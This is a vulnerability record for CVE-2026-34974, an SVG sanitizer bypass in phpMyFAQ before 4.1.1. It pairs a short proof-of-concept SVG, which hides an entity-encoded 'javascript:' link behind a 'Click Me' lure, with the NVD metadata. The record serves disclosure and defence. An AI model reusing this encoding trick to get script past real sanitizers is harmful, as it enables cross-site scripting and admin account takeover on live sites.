CVE-2026-34974

<!-- PoC: Malicious SVG file to bypass sanitizer --> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <!-- HTML entity encoded 'javascript:' string --> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> <rect width="100%" height="100%" fill="red"/> <text x="50%" y="50%" font-size="20" text-anchor="middle" fill="white">Click Me</text> </a> </svg>

{"cve": {"id": "CVE-2026-34974", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:51.903", "lastModified": "2026-04-06T16:09:58.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover. This issue has been patched in version 4.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.1", "matchCriteriaId": "407BB5BA-44EA-49EB-8072-4ACD67864598"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}